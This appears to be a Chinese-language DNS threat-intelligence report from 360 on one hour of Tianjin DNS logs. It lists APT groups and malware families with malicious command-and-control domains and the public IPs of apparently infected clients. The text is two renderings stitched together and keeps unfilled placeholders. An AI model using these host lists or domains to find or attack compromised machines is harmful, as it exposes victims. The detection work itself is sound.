6 125.38.176.178 NAT
6 60.26.225.158 NAT
6 60.27.31.62 NAT
6 218.68.234.159 NAT
6 117.11.153.212 NAT
5 60.30.208.226 NAT
5 125.36.153.16 NAT
5 111.162.149.78 NAT
5 111.163.158.181 NAT
5 218.69.226.106 NAT
5 60.27.79.149 NAT
5 221.198.170.164 NAT
5 211.94.243.185 NAT
5 117.9.18.2 NAT
5 106.47.29.70 NAT
5 125.37.29.120 NAT
5 60.29.145.254 NAT
5 218.68.0.6 NAT
5 117.10.62.226 NAT
5 117.12.202.189 NAT
5 111.160.246.140 NAT
5 61.181.74.42 NAT
5 218.69.55.166 NAT
5 218.69.54.167 NAT
5 218.68.6.50 NAT
5 117.13.115.123 NAT
4 211.94.254.85 NAT
4 60.24.90.226 NAT
4 60.26.4.19 NAT
4 60.28.101.106 NAT
4 221.198.238.209 NAT
4 111.166.237.230 NAT
4 125.36.255.122 NAT
4 218.68.105.7 NAT
4 117.9.237.225 NAT
4 61.181.103.138 NAT
4 218.68.229.81 NAT
4 61.181.140.42 NAT
4 218.69.6.74 NAT
4 111.160.120.54 NAT
4 60.29.93.221 NAT
4 218.69.91.84
4 125.37.29.23 NAT
4 60.24.184.70 NAT
4 221.196.46.61 NAT
4 117.14.119.35 NAT
4 60.26.203.160 NAT
4 111.163.123.7 NAT
4 111.161.158.131 NAT
4 111.33.17.70 NAT
4 111.160.230.18 NAT
4 60.27.31.0 NAT
4 117.12.37.223 NAT
4 117.15.93.189 NAT
4 117.10.124.4 NAT
4 60.24.233.164 NAT
4 60.28.84.197 NAT
4 218.68.200.243 NAT
4 218.68.219.29 NAT
4 221.198.86.145 NAT
4 218.69.18.147 NAT
4 111.164.233.130 NAT
4 111.163.143.228 NAT
4 60.25.148.35 NAT
4 117.15.125.181 NAT
4 218.67.234.60 NAT
4 125.38.176.229 NAT
4 60.30.92.74 NAT
4 117.11.10.12 NAT
4 111.160.91.250 NAT
3 60.24.45.218 NAT
3 60.29.154.226 NAT
3 111.163.144.224 NAT
3 111.161.150.34 NAT
3 111.160.166.58 NAT
3 111.162.163.231 NAT
3 125.37.182.99 NAT
3 60.29.16.94 NAT
3 111.163.120.92 NAT
3 221.198.67.88 NAT
3 117.15.192.231 NAT
3 117.10.138.46 NAT
3 218.69.95.90 NAT
3 60.27.60.159 NAT
3 117.13.168.162 NAT
3 117.13.106.191 NAT
3 60.29.15.2 NAT
3 111.165.11.60 NAT
3 60.30.193.162 NAT
3 60.29.43.46 NAT
3 117.12.146.72 NAT
3 43.249.136.20 NAT
3 111.165.188.122 NAT
3 221.196.152.151 NAT
3 111.163.144.67 NAT
3 60.26.142.193 NAT
3 60.29.63.18 NAT
3 111.160.80.3 NAT
3 117.13.140.5 NAT
3 117.10.236.245 NAT
3 211.94.243.121 NAT
3 111.165.105.247 NAT
3 61.181.219.120 NAT
3 123.151.34.82 NAT
3 111.166.238.248 NAT
3 202.99.106.47 NAT
3 221.197.179.98 NAT
3 211.94.226.74 NAT
3 60.26.239.60 NAT
3 117.9.191.22 NAT
3 117.14.66.156 NAT
3 61.181.202.5
3 218.69.78.253 NAT
3 218.69.52.252 NAT
3 221.196.97.11 NAT
3 218.67.181.124 NAT
2 221.196.194.253 NAT
2 218.68.102.247 NAT
2 111.165.128.30 NAT
2 60.26.132.173 NAT
2 125.35.249.1 NAT
2 221.197.139.235 NAT
2 117.15.22.130 NAT
2 60.29.179.114 NAT
2 221.198.80.189
2 111.162.216.127 NAT
2 221.197.54.42 NAT
2 221.197.97.39 NAT
2 117.13.244.21 NAT
2 111.160.198.83 NAT
2 103.233.6.2
2 60.27.189.44 NAT
2 111.160.166.189 NAT
2 125.36.59.125 NAT
2 211.94.248.28 NAT
2 218.69.55.247 NAT
2 111.160.166.206 NAT
2 125.36.101.224 NAT
2 111.165.56.53 NAT
2 61.181.65.154 NAT
2 61.181.109.234 NAT
2 117.9.199.42 NAT
2 221.197.133.137 NAT
2 218.68.102.58 NAT
2 125.37.217.118 NAT
2 221.196.97.36 NAT
2 61.181.103.46 NAT
2 60.27.119.49
2 117.12.133.191 NAT
2 221.198.64.35 NAT
2 125.37.191.155 NAT
2 221.198.60.201 NAT
2 111.162.147.134 NAT
2 60.25.179.50 NAT
2 61.181.63.138 NAT
2 60.24.127.98 NAT
2 61.181.24.234 NAT
2 125.37.212.67 NAT
2 111.167.149.238 NAT
2 221.197.154.147 NAT
2 117.10.28.225 NAT
2 60.30.149.102 NAT
2 60.30.105.33 NAT
2 111.160.97.18 NAT
2 125.37.202.10 NAT
2 117.9.18.201 NAT
2 117.14.151.96 NAT
2 60.30.156.190 NAT
2 111.167.17.208 NAT
2 117.15.90.239 NAT
2 111.162.151.214 NAT
2 111.162.154.253 NAT
2 61.181.49.105 NAT
2 218.68.224.39 NAT
2 60.27.138.17 NAT
2 117.9.70.23 NAT
2 221.196.180.242 NAT
2 117.12.125.160 NAT
2 111.162.157.177
2 218.68.107.108 NAT
2 218.69.129.94 NAT
2 111.167.46.70 NAT
2 117.15.90.205 NAT
2 103.233.4.26 NAT
1 60.24.89.15 NAT
1 218.69.55.60 NAT
1 117.11.239.56 NAT
1 111.163.140.152 NAT
1 111.160.108.34 NAT
1 60.29.140.66 NAT
1 202.99.69.243
1 221.196.194.2 NAT
1 60.27.42.62 NAT
1 60.24.188.12 NAT
1 117.8.101.63 NAT
1 218.69.147.133 NAT
1 111.163.22.227 NAT
1 111.160.118.230 NAT
1 111.167.144.199 NAT
1 60.29.154.210 NAT
1 221.196.227.20 NAT
1 60.28.38.18 NAT
1 60.29.77.203 NAT
1 60.29.153.45 NAT
1 125.38.191.184 NAT
1 221.198.236.232 NAT
1 60.25.10.147 NAT
1 111.164.209.21 NAT
1 218.67.254.17 NAT
1 60.30.180.150 NAT
1 111.160.70.203 NAT
1 111.160.70.201 NAT
1 60.29.116.18 NAT
1 60.30.215.242 NAT
1 111.162.152.192 NAT
1 60.29.95.82 NAT
1 111.160.166.186 NAT
1 117.9.229.148 NAT
1 61.181.60.34 NAT
1 221.198.118.158 NAT
1 60.28.135.3 NAT
1 60.25.63.52 NAT
1 111.160.97.42 NAT
1 117.12.144.7 NAT
1 111.162.221.168 NAT
1 221.198.110.209 NAT
1 61.181.83.10 NAT
1 221.197.84.199 NAT
1 60.29.179.42 NAT
1 60.29.77.194 NAT
1 60.27.174.82 NAT
1 111.166.156.237 NAT
1 60.29.30.190 NAT
1 117.12.133.124 NAT
1 117.13.140.144 NAT
1 218.69.243.164 NAT
1 218.69.11.110 NAT
1 111.165.133.156 NAT
1 111.162.163.241 NAT
1 221.197.252.248 NAT
1 60.28.250.46 IDC
1 60.27.133.165 NAT
1 111.167.211.108 NAT
1 111.160.70.204 NAT
1 60.30.240.226 NAT
1 221.197.29.195 NAT
1 125.36.145.207 NAT
1 60.27.79.17 NAT
1 125.37.125.3 NAT
1 60.30.172.82 NAT
1 117.131.145.156 NAT
1 111.30.85.18 NAT
1 221.198.218.112 NAT
1 117.14.13.25 NAT
1 117.14.70.156 NAT
1 111.163.143.193 NAT
1 111.160.216.87 NAT
1 60.28.101.126 NAT
1 60.29.185.242 NAT
1 111.163.78.80 NAT
1 125.37.182.185 NAT
1 117.15.191.57 NAT
1 111.160.104.66 NAT
1 221.197.162.54 NAT
1 211.94.242.118 NAT
1 125.37.162.103 NAT
1 117.8.100.70 NAT
1 117.15.214.65 NAT
1 125.38.177.138 NAT
1 60.30.204.26 NAT
1 60.27.205.187 NAT
1 117.12.158.82 NAT
1 60.26.180.205 NAT
1 111.165.72.25 NAT
1 61.181.125.37 NAT
1 60.29.0.101 NAT
1 60.25.16.184 NAT
1 111.30.78.46 NAT
1 111.160.40.106 NAT
1 117.15.138.221 NAT
1 111.161.189.215 NAT
1 111.160.80.250 NAT
1 103.233.4.29 NAT
1 221.239.72.170 NAT
</code></pre>
</br>
<h4 id="malwarebondat">Malware.bondat</h4>
<p>利用受害机器资源 进行门罗币挖矿，并组建一个攻击WordPress站点的僵尸网络。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>urchintelemetry.com
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
8 117.9.92.217 NAT
2 60.30.105.33 NAT
2 61.181.88.218 NAT
</code></pre>
</br>
<h4 id="malwarestorm">Malware.storm</h4>
<p>针对Windows平台的DDoS类型的botnet家族。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>www.mojimojimojimoji.com
www.ody.cc
imddos.my03.com
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
432 125.36.152.117 NAT
425 111.160.156.10 NAT
315 61.181.252.146 NAT
34 111.160.182.10 NAT
19 111.160.132.158 NAT
11 218.68.105.191 NAT
10 117.15.53.253 NAT
8 218.68.228.63 NAT
8 60.27.104.153 NAT
7 117.13.140.144 NAT
5 61.181.125.37 NAT
5 60.28.101.104 NAT
4 221.198.64.35 NAT
3 111.163.12.68 NAT
2 117.11.239.138 NAT
2 111.164.47.25
2 125.37.162.103 NAT
2 117.9.90.137 NAT
1 111.162.102.7 NAT
1 60.24.244.41 NAT
1 61.240.5.226 NAT
1 111.162.12.44 NAT
</code></pre>
</br>
<h4 id="malwaremorto">Malware.Morto</h4>
<p>一款蠕虫病毒，通过爆破内网、外网主机的RDP密码，登陆到受害主机，进行自我复制并运行，来实现病毒的传播。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>ms.jifr.net
ms.jifr.co.cc
ms.jifr.co.be
dos1.jifr.net
ms.jifr.info
flt1.jifr.net
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
506 218.69.16.26 NAT
241 60.29.174.70 NAT
219 60.29.173.226 NAT
194 60.24.189.11 NAT
162 60.30.57.29 NAT
106 111.164.41.211 NAT
75 117.131.175.138 NAT
69 111.160.186.146 NAT
45 218.68.156.51 NAT
27 125.36.228.182 NAT
20 125.36.228.187 NAT
16 125.36.228.184 NAT
</code></pre>
</br>
<h4 id="malwaremylobot">Malware.Mylobot</h4>
<p>mylobot是针对Windows的malware，属于downloader类型，用于在感染机器上下载和安装其它的malware。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>m16.pseyumd.ru
m11.pseyumd.ru
m25.oxduwil.com
m20.oxduwil.com
m0.fnjxpwy.com
m32.oqemwbj.in
v2.otwzgnl.ru
m0.zqfqjwd.biz
m34.oxduwil.com
m34.oqemwbj.in
m28.oqemwbj.in
m16.oqemwbj.in
v2.baidupic.net
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
12 60.28.101.104 NAT
4 60.28.101.103 NAT
2 60.25.16.92 NAT
1 117.11.239.72 NAT
1 60.28.101.105 NAT
</code></pre>
</br>
<h3 id="">未知恶意</h3>
<p>基于360安全大脑的云端数据，我们DNSMon系统会实时监测各种未知的恶意和高度可疑的域名，包括各种未知APT和Botnet等等，这些被归为 DNSMon.gray 以及 DNSMon.black 类别。</p>
<p>由于客户端数据太大，且具体的恶意行为需要其他维度数据关联分析，在此暂时不展开。</p>
<!--kg-card-end: markdown--> | 天津DNS数据安全分析报告
版本：tj-sec.01
时间：2019-06-17
作者：360网络安全研究院 & 360CERT
摘要
* 采集了 2019-06-09 日 10 点数据，共计 33650792 条DNS日志
* 排除掉DNS解析服务器日志，共计 19190292 条客户端请求DNS日志
* 其中黑域名请求共计 99095 条，占总请求的 0.516%
* 去重后域名共计 725093 个，其中黑域名共计 4424 个，占比 0.61%
* 恶意类型覆盖 6 个APT组织的活动，以及40个僵尸网络/远控/后门/木马等恶意软件家族
整体分布
字段说明：
* TAG 是我们为恶意域名归类的标记，比如“APT.turla”表明是APT组织turla，“Malware.driverlife”表明是恶意软件家族“驱动人生”等等
* DNS_Records_Count 是对应类别恶意域名在所有DNS请求中的请求数
* Unique_Clients 是对应类别恶意域名的去重客户端个数
* Unique_Domains 是对应恶意类别中在数据中出现过的去重恶意域名数
* Infos 针对某些类别的额外解释说明
TAG
DNS_Records_Count
Unique_Clients
Unique_Domains
Infos
DNSMon.gray
22331
2629
926
DNSMon自动发现的高度可疑恶意域名
Malware.miner
11898
193
62
所有的挖矿恶意软件都归为该类，不再细分
Malware.driverlife
10397
86
22
BlackHit.vt
9779
257
84
Malware.unknown
9587
410
58
正在持续跟踪的一批暂未归类恶意软件
Malware.mykings
5613
45
13
DNSMon.black
3734
178
48
DNSMon自动发现的确定恶意域名
APT.turla
3620
2
15
Malware.Morto
3397
14
6
DGA.conficker
2760
41
224
Malware.xorddos
2415
9
14
Malware.nitol
2248
20
11
Malware.2gun
2049
349
26
Malware.ramnit
1985
246
7
Malware.nadrac
1416
16
5
Malware.mirai
1404
4
4
Malware.elknot
1325
5
3
Malware.storm
1301
23
3
Malware.gh0st
1066
17
11
Malware.zombieboy
472
3
2
Malware.artemis
445
37
9
WebSafe.coinhive
299
1
1
Malware.zusy
298
1
286
Malware.darkshell
297
3
1
Malware.sality
246
30
33
Malware.wannycry
221
5
2
Malware.NuggetPhantom
174
26
6
Malware.remcos
150
1
1
Malware.wannacry
122
8
2
Malware.DUNIHi
107
1
1
APT.irontiger
98
1
2
BlackHit.nd
79
19
3
APT.unclassified
76
38
1
DGA.hardcoded_fake_dga
72
31
30
Malware.dbnt
44
18
2
Malware.dsl
32
1
1
Malware.Mylobot
20
5
13
WebSafe.ad_flush
16
14
3
Malware.bondat
12
3
1
Malware.posioncake
11
4
2
Malware.Dorkbot
9
1
4
APT.bitter
8
1
4
DGA.popad
8
6
3
APT.oceanlotus
7
1
4
Malware.barhera
6
2
3
Malware.irc3
4
1
2
APT.menupass
4
1
1
Malware.dy2004
2
1
1
Malware.loki
1
1
1
Malware.rcshark
1
1
1
Malware.humpler
1
1
1
Malware.flyboy
1
1
1
Malware.woring
1
1
1
Malware.dofloo
1
1
1
分类描述
由于恶意类型比较多且繁杂，分类描述中只汇总了 APT 类 和 Malware 类危害较大的类别。
"IOCs" 列出在数据中出现过的对应类别的恶意域名，“Clients”是数据中出现过的访问了恶意域名的客户端IP，按照访问次数从大到小排列，访问次数越多，可以认为是该IP后面对应的恶意软件越活跃。客户端IP有可能是机构/宽带出口IP，会标记类别 NAT，有可能是机房IP，会标记类别IDC。
有些访问可能是安全研究人员的测试性访问，这需要具体IP的归属来判断，通过当前数据不能区分，如果后续追溯，需要注意。
APT 类
当前一小时采样数据中，共发现6个公开的APT组织的活动迹象，共涉及失陷客户端XXX个，其中可能是政府单位的YYY个，需要高度关注。
APT.bitter
蔓灵花（T-APT-17、BITTER）APT组织是一个长期针对中国、巴基斯坦等国家进行攻击活动的APT组织，该APT组织为目前活跃的针对境内目标进行攻击的境外APT组织之一。该组织主要针对政府、军工业、电力、核等单位进行攻击，窃取敏感资料，具有强烈的政治背景。该组织最早在2016由美国安全公司Forcepoint进行了披露，并且命名为“BITTER”。
该组织主要采用鱼叉钓鱼的方式，对相关目标单位的个人直接发送嵌入了攻击诱饵的钓鱼邮件。此外，为了提高成功率，也会先对目标发送安全提示相关的钓鱼邮件，诱使被钓鱼用户修改邮件账户密码，从而获取用户的邮箱密码，而后再用被控制的邮箱继续对企业内的其他人进行嵌入攻击诱饵的钓鱼邮件。
详细报告参见 https://www.freebuf.com/articles/database/192726.html
IOCs
hewle.kielsoservice.net
spring.tulipnetworks.net
aroundtheworld123.net
thepandaservices.nsiagenthoster.net
Clients
Count Client TAGS
8 60.29.208.115
APT.irontiger
铁虎（Iron Tiger）APT行动背后的“熊猫使者”APT组织，被怀疑（必须）是天朝的一个黑客组织，他们专门以政府和相关领域的技术部门作为其主要的攻击目标，并尝试从这些组织和机构中监视和窃取高价值的数据。
该恶意软件的主要攻击目标是亚洲和美国的政府组织、科技公司、教育和通信企业等。最早的攻击是从附有恶意VBS文件的垃圾邮件开始的，VBS文件的作用是从分布式服务器下载恶意payload的下载器。
详细报告参见https://zhuanlan.zhihu.com/p/33636123
IOCs
dll.pzchao.com
zll855.gicp.net
Clients
Count Client TAGS
98 60.28.230.130 NAT
APT.unclassified
详细报告参见 https://www.anquanke.com/post/id/167077，
http://www.mottoin.com/detail/3398.html
IOCs
ftp.byethost10.com
Clients
Count Client TAGS
10 117.13.67.150 NAT
3 218.69.72.38 NAT
2 218.68.156.153 NAT
2 218.68.62.28 NAT
2 218.67.252.149 NAT
2 218.69.6.74 NAT
2 117.13.3.103 NAT
1 221.196.149.170 NAT
1 60.24.88.214 NAT
1 60.30.254.92 NAT
1 125.37.184.21 NAT
1 125.36.33.16 NAT
1 111.165.222.113 NAT
1 60.27.152.188 NAT
1 221.197.154.8 NAT
1 60.24.142.12 NAT
1 60.26.72.241 NAT
1 111.163.144.208 NAT
1 111.33.50.98 NAT
1 111.160.43.14 NAT
1 117.15.191.151 NAT
1 111.162.212.244 NAT
1 117.11.117.145 NAT
1 117.10.138.132 NAT
1 60.27.193.224 NAT
1 117.13.192.197 NAT
1 117.14.147.119 NAT
1 218.68.148.99 NAT
1 125.36.107.131 NAT
1 111.164.215.206 NAT
1 211.94.237.146 NAT
1 111.167.9.209 NAT
1 117.15.190.49 NAT
1 218.68.108.222 NAT
APT.menupass
详细报告参见 https://zhuanlan.zhihu.com/p/52960249
IOCs
cia.toh.info
Clients
Count Client TAGS
4 117.14.156.22 NAT
APT.turla
90年代著名网络间谍组织“月光迷宫”（Moonlight Maze）已经演变成了今天的Turla APT，它们都具有或多或少相同的技术手段，且共同背景就是：与俄罗斯政府黑客相关。
以中国和美国等地的政府、军事、大使馆、研究和制药组职为入侵目标，之前也制作过Linux 木马。据说他们是受到俄罗斯政府支持。虽然他们会有行动，但执法机关一直没法知道他们所在何方，因为他们善于隐藏自己。
在网络入侵活动中，黑客一般会利用中转或跳板机作为攻击代理，防止溯源调查，而“月光迷宫”入侵者也是最早采用该技术的攻击者。他们利用很多国家的一系列大学、图书馆等存在系统漏洞的机构电脑作为中转跳板，存储攻击工具，发起网络攻击，以此迷惑调查行为。
详细报告参见 https://blog.csdn.net/DJY1992/article/details/88994695
IOCs
music-world.servemp3.com
forum.sytes.net
tiger.got-game.org
x-files.zapto.org
health-everyday.faqserv.com
fifa-rules.25u.com
weather-online.hopto.org
hockey-news.servehttp.com
olympik-blog.4dq.com
top-facts.sytes.net
supernews.sytes.net
cars-online.zapto.org
nhl-blog.servegame.com
marketplace.servehttp.com
newutils.3utilities.com
Clients
Count Client TAGS
3495 218.69.186.173 NAT
125 218.69.133.129 NAT
APT.oceanlotus
海莲花（OceanLotus）也叫APT32或APT-C-00，是一个长期针对中国及其他东亚国家（地区）政府、科研机构、海运企业等领域进行攻击的APT组织。
海莲花的攻击途径为使用木马病毒攻陷、控制政府人员、外包商及行业专家等目标人群的计算机，从中窃取受害者计算机中的机密数据，截获受害计算机与外界传递的情报，甚至操纵该计算机自动发送相关情报。而这一攻击方式有“ 鱼叉攻击 ”和“ 水坑攻击 ”两种。
详细报告参见 https://zh.wikipedia.org/zh/%E6%B5%B7%E8%8E%B2%E8%8A%B1
IOCs
dominikmagoffin.com
check.homeip.net
cortana.homelinux.com
hk.cnnewspapers.com
Clients
Count Client TAGS
7 60.29.208.115
Malware 类
Malware.mykings
MyKings 是一个由多个子僵尸网络构成的多重僵尸网络，2017 年 4 月底以来，该僵尸网络一直积极地扫描互联网上 1433 及其他多个端口，并在渗透进入受害者主机后传播包括 DDoS、Proxy、RAT、Miner 在内的多种不同用途的恶意代码。
详细报告参见：https://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/
IOCs
wmi.mykings.top
loop2.haqo.net
loop.haqo.net
p.abbny.com
lpp.beahh.com
o.beahh.com
lplp.beahh.com
js.f4321y.com
oo.beahh.com
pp.abbny.com
loop.abbny.com
down.f4321y.com
down.b591.com
Clients
Count Client TAGS
1670 60.28.104.130 NAT
1193 218.68.105.24 NAT
951 60.28.47.90 NAT
726 60.30.186.26 NAT
434 218.69.112.141 NAT
300 221.239.96.146 NAT
100 61.181.103.46 NAT
48 111.160.80.250 NAT
22 221.238.238.234 NAT
16 61.181.70.210 NAT
12 123.151.34.82 NAT
8 117.12.96.213 NAT
8 180.213.6.237 NAT
8 60.28.101.104 NAT
7 111.160.40.106 NAT
6 60.25.251.11 NAT
6 60.29.153.61 NAT
6 60.26.80.98 NAT
6 218.68.5.141 NAT
6 60.30.149.102 NAT
6 111.163.120.92 NAT
4 111.160.230.18 NAT
4 61.181.49.105 NAT
4 60.28.101.103 NAT
4 111.30.26.21 NAT
4 218.69.11.110 NAT
4 60.29.90.230 NAT
4 111.160.166.58 NAT
3 111.163.145.128 NAT
2 61.181.49.102 NAT
2 111.30.31.137
2 111.165.4.199 NAT
2 61.181.60.34 NAT
2 61.181.49.104 NAT
2 218.68.6.50 NAT
2 60.28.101.106 NAT
1 117.11.14.62 NAT
1 60.24.90.130 NAT
1 111.163.45.102 NAT
1 111.160.56.130 NAT
Malware.driverlife
“驱动人生”旗下多款软件携带后门病毒DTStealer，仅半天时间感染了数万台电脑。该病毒进入电脑后，继续通过“永恒之蓝”高危漏洞进行全网传播（特别是政企单位局域网），并回传被感染电脑的IP地址、CPU型号等信息。
IOCs
lplp.haqo.net
v.beahh.com
p.awcna.com
p.zer2.com
lpp.ackng.com
p.amxny.com
oo.beahh.com
lpp.zer2.com
down.ackng.com
v.bddp.net
t.awcna.com
lplp.beahh.com
t.zer2.com
pp.abbny.com
lplp.abbny.com
lpp.awcna.com
oom.beahh.com
down.bddp.net
lpp.haqo.net
t.amxny.com
ppm.abbny.com
v.y6h.net
Clients
Count Client TAGS
1564 221.239.96.146 NAT
1486 218.69.112.141 NAT
1458 60.30.186.26 NAT
1324 60.28.104.130 NAT
956 218.68.105.24 NAT
786 60.28.47.90 NAT
408 61.181.65.154 NAT
326 61.181.103.46 NAT
188 111.160.80.250 NAT
168 111.164.183.26 NAT
156 111.164.175.157 NAT
156 221.238.238.234 NAT
134 111.160.167.194 NAT
78 60.28.101.104 NAT
74 111.160.231.178 NAT
72 111.164.183.91 NAT
61 218.68.5.141 NAT
55 61.181.70.210 NAT
52 60.28.101.103 NAT
50 60.25.251.11 NAT
49 60.28.101.105 NAT
46 218.68.102.37 NAT
42 221.197.55.168 NAT
36 111.160.97.18 NAT
36 60.28.108.201 NAT
24 60.26.80.98 NAT
24 123.150.44.3 NAT
24 125.36.59.125 NAT
20 60.28.41.18 NAT
18 61.181.60.34 NAT
16 111.160.166.58 NAT
16 60.29.153.61 NAT
14 221.196.67.188 NAT
14 60.29.153.45 NAT
12 123.151.34.82 NAT
12 60.28.108.21 NAT
12 123.150.44.11 NAT
10 60.28.101.74 NAT
10 218.68.0.210 NAT
10 111.160.70.46 NAT
8 123.150.44.5 NAT
8 117.12.96.213 NAT
8 180.213.6.237 NAT
8 60.28.101.106 NAT
8 111.165.4.199 NAT
8 61.181.252.146 NAT
8 221.197.66.60 NAT
8 60.29.145.254 NAT
6 61.181.49.105 NAT
6 111.30.78.46 NAT
6 111.160.172.18 NAT
6 111.30.101.238 NAT
6 218.69.11.174 NAT
6 117.9.199.42 NAT
6 111.163.120.92 NAT
4 111.160.212.19 NAT
4 218.69.11.110 NAT
4 111.160.230.18 NAT
4 60.29.90.230 NAT
4 60.29.241.4 NAT;IDC
4 125.35.214.114 NAT
4 111.30.35.142 NAT
4 111.160.40.106 NAT
4 60.30.149.102 NAT
2 111.30.31.137
2 123.150.44.9 NAT
2 218.69.129.94 NAT
2 60.29.241.1 NAT;IDC
2 60.28.101.102 NAT
2 117.9.18.201 NAT
2 61.181.49.102 NAT
2 61.181.49.104 NAT
2 60.27.119.49
2 218.68.6.50 NAT
2 60.29.158.138 NAT
2 123.151.196.187 NAT
2 117.9.121.135 NAT
Malware.dbnt
一款用于网吧客户机系统维护的软件，同时也是一个win恶意软件下载器，可以下载各种恶意软件，用于流量劫持等恶意行为。
IOCs
wj.center.oldlist.info
ecount.2019cn.com
Clients
Count Client TAGS
6 61.181.61.82 NAT
6 60.28.130.170 NAT
6 60.30.67.234 NAT
4 60.28.38.18 NAT
3 60.30.111.99 NAT
3 111.160.91.94 NAT
2 125.37.20.209 NAT
2 117.8.246.134 NAT
2 117.13.157.191 NAT
2 111.164.179.188 NAT
1 60.25.31.73 NAT
1 111.164.20.60 NAT
1 60.26.240.155 NAT
1 111.162.55.162 NAT
1 111.164.175.4 NAT
1 125.37.20.206 NAT
1 61.181.111.18 NAT
1 221.197.54.42 NAT
Malware.irc
基于IRC协议的家族统称，包括Windows和Linux两种平台。基于IRC的典型家族有dstd和tsunami，但并非使用了IRC就一定是恶意的。 irc允许私有扩展，所以上线包会有不同的字段和换行格式，我们这里初步的细分为irc1/2/3.
IOCs
n.ezjhyxxbf.ru
n.vbemnggcj.ru
Clients
Count Client TAGS
4 111.161.200.159 NAT
Malware.remcos
通过钓鱼邮件传播的远控，可在被感染的系统执行键盘记录，远程截屏，文件管理，命令执行等多个功能。
IOCs
maxeuro.ddns.net
Clients
Count Client TAGS
150 111.163.141.154 NAT
Malware.xorddos
该家族针对Linux设备，用于DDoS攻击。因为样本内的配置信息和C2通信均使用了一个自定义的XOR加密算法，故得名XOR.DDOS。该家族支持syn/dns/tcp等flood攻击。
IOCs
aaa.xxxatat456.com
p6.2018fly.com
p11.2018fly.com
a381422.f3322.net
www1.gggatat456.com
aaa.gggatat456.com
ppp.xxxatat456.com
aaaaaaaaaa.re67das.com
gh.dsaj2a1.org
k1.2018fly.com
b12.xxxatat456.com
ppp.gggatat456.com
p12.2018fly.com
b12.gggatat456.com
Clients
Count Client TAGS
577 60.29.208.112
461 125.39.151.184
452 125.39.71.19
211 124.68.10.20
145 111.160.201.202
144 60.28.54.30 NAT
116 61.181.59.88
2 60.29.141.95
Malware.NuggetPhantom
模块化恶意工具集“NuggetPhantom（掘金幽灵）”最早出现于2016年底，其曾在2016年底的“天翼校园客户端蓝屏事件”以及2017年底的“天翼校园客户端挖矿程序事件”中有所行动。攻击者获知用户计算机存在EternalBlue漏洞后，利用该漏洞向用户计算机发送Eternal_Blue_Payload载荷，该载荷及其所释放的各模块皆通过访问下载服务器来获取加密后的各用途模块文件，并在内存中动态解密这些模块代码，执行模块对应的恶意功能。
IOCs
new.szyfpga.com
deg.szyfpg.com
buy.szyfpg.com
cpu.szyfpg.com
new.szyfpg.com
deg.szyfpga.com
Clients
Count Client TAGS
57 60.29.64.22 NAT
18 60.24.251.190 NAT
15 117.11.121.200 NAT
15 111.162.220.212 NAT
12 111.162.217.67 NAT
8 117.11.144.69 NAT
8 111.162.216.179 NAT
7 60.29.148.146 NAT
5 218.67.167.157 NAT
5 218.68.24.157 NAT
4 117.15.28.197 NAT
3 211.94.237.161 NAT
3 60.24.248.46 NAT
2 117.12.37.38 NAT
1 60.24.34.84 NAT
1 60.27.137.164 NAT
1 111.162.219.177 NAT
1 111.160.119.194 NAT
1 60.27.152.186 NAT
1 218.67.199.206 NAT
1 60.26.234.195 NAT
1 218.67.233.167 NAT
1 218.67.186.15 NAT
1 218.69.42.199 NAT
1 60.27.191.194 NAT
1 218.69.156.136 NAT
Malware.2gun
涉及业务种类繁杂，除了传播双枪木马的恶意驱动程序，还传播游戏私服驱动，还会盗窃 Steam 账号、劫持 QQ 进行恶意推广
IOCs
ua.minding99.com
ba.minding99.com
ia.minding99.com
www.0311bj.cn
a.dearqy.cn
white.shougouji.top
cn4.ppzos.com
www.360gege.com
ic.dztworld.com
cn2.ppzos.com
bc.dztworld.com
sogous.sayblurb.com
pc.ppzos.com
cn5.ppzos.com
ba.dztworld.com
sogousss.srcbooks.com
ub.minding99.com
rat2.100geili.com
ib.dztworld.com
white.fjxmxslaw.com
cn1.ppzos.com
ub.dztworld.com
cn3.ppzos.com
bb.dztworld.com
rat3.100geili.com
sogouss.srcbooks.com
Clients
Count Client TAGS
44 111.160.156.10 NAT
27 125.36.117.113 NAT
27 218.69.42.199 NAT
24 117.9.55.29 NAT
22 221.197.187.187 NAT
22 61.181.206.154 NAT
20 218.69.64.130 NAT
20 218.68.145.150 NAT
20 221.198.203.162 NAT
20 221.197.55.4 NAT
20 117.11.128.45 NAT
19 60.26.187.29 NAT
18 117.13.15.45 NAT
18 61.181.131.46 NAT
18 117.11.155.93 NAT
18 60.27.30.20 NAT
18 218.69.74.187 NAT
17 218.68.236.120 NAT
17 61.181.92.130 NAT
16 117.15.222.228 NAT
16 218.68.220.53 NAT
16 218.67.233.167 NAT
16 111.162.24.203 NAT
15 125.38.137.213 NAT
15 60.24.144.117 NAT
15 111.163.146.62 NAT
14 60.25.16.227 NAT
14 60.24.189.241 NAT
14 117.13.140.142 NAT
14 218.69.242.43 NAT
14 60.27.207.61 NAT
14 125.38.176.2 NAT
13 218.68.201.81 NAT
13 60.25.27.238 NAT
13 117.14.249.51 NAT
13 111.167.149.205 NAT
13 111.161.191.151 NAT
12 221.198.110.24 NAT
12 125.38.168.10 NAT
12 60.27.205.7 NAT
12 117.13.140.6 NAT
12 221.197.69.44 NAT
12 117.14.103.18 NAT
12 117.13.168.100 NAT
11 111.163.211.201
11 117.15.6.163 NAT
11 111.165.7.69 NAT
11 125.37.218.227 NAT
11 111.165.117.68 NAT
11 125.37.188.224 NAT
11 218.68.24.30 NAT
11 111.161.188.225 NAT
11 60.28.35.130 NAT
11 111.167.39.103 NAT
11 221.198.75.232 NAT
10 117.12.144.200 NAT
10 111.162.215.214 NAT
10 218.67.137.157 NAT
10 111.160.66.38 NAT
10 221.197.207.233 NAT
10 218.69.66.23 NAT
10 117.9.138.237 NAT
10 117.14.225.113 NAT
10 221.198.55.86 NAT
10 60.28.137.114 NAT
10 111.166.240.107 NAT
10 60.30.215.214 NAT
10 60.26.60.73 NAT
9 125.36.168.151 NAT
9 111.166.78.107 NAT
9 211.94.226.80 NAT
9 117.15.204.67 NAT
9 117.9.137.247 NAT
